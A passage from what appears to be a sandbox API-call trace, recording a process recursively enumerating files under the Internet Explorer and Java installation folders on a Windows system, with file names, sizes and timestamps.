[0092.669] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0092.669] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0092.670] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.670] GetProcessHeap () returned 0xc00000 [0092.670] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4c60b4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x63800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0092.670] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8ca44c00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc9340, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0092.671] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0092.671] GetProcessHeap () returned 0xc00000 [0092.671] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 1 [0092.671] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a55ea4d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a55ea4d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a55ea4d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.ico", cAlternateFileName="")) returned 0 [0092.671] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0092.671] GetProcessHeap () returned 0xc00000 [0092.672] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.672] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfacc1b0, ftCreationTime.dwHighDateTime=0x1d5ba16, ftLastAccessTime.dwLowDateTime=0x81015ea0, ftLastAccessTime.dwHighDateTime=0x1d5bd58, ftLastWriteTime.dwLowDateTime=0x81015ea0, ftLastWriteTime.dwHighDateTime=0x1d5bd58, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="powered.exe", cAlternateFileName="")) returned 1 [0092.672] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0092.672] GetProcessHeap () returned 0xc00000 [0092.672] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.672] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0092.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0092.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30c952e, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x970b4468, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x970b4468, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0092.673] FindClose (in: hFindFile=0xc19bb8 | out: hFindFile=0xc19bb8) returned 1 [0092.673] GetProcessHeap () returned 0xc00000 [0092.673] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0092.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0092.673] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0092.673] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0092.673] GetProcessHeap () returned 0xc00000 [0092.673] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0092.675] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xec133181, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec133181, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Java", cAlternateFileName="")) returned 1 [0092.675] GetProcessHeap () returned 0xc00000 [0092.675] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0092.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xec133181, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec133181, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0092.676] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xec133181, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec133181, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.676] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1 [0092.676] GetProcessHeap () returned 0xc00000 [0092.676] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0092.677] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0092.677] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.678] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf080 | out: lpFindFileData=0x2fdf080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0092.678] GetProcessHeap () returned 0xc00000 [0092.678] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0092.678] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19bb8 [0094.665] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0094.666] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x172440, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0094.666] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4240, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="bci.dll", cAlternateFileName="")) returned 1 [0094.666] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0094.666] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15040, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="decora_sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0094.667] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8f840, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0094.667] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffdff, dwReserved1=0x1fff, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0094.667] GetProcessHeap () returned 0xc00000 [0094.667] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0094.667] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8a60 [0094.670] FindNextFileW (in: hFindFile=0x37e8a60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="..", cAlternateFileName="")) returned 1 [0094.671] FindNextFileW (in: hFindFile=0x37e8a60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0094.671] FindNextFileW (in: hFindFile=0x37e8a60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0094.671] FindNextFileW (in: hFindFile=0x37e8a60, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0094.671] FindClose (in: hFindFile=0x37e8a60 | out: hFindFile=0x37e8a60) returned 1 [0094.672] GetProcessHeap () returned 0xc00000 [0094.672] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0094.672] FindNextFileW (in: hFindFile=0xc19bb8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, 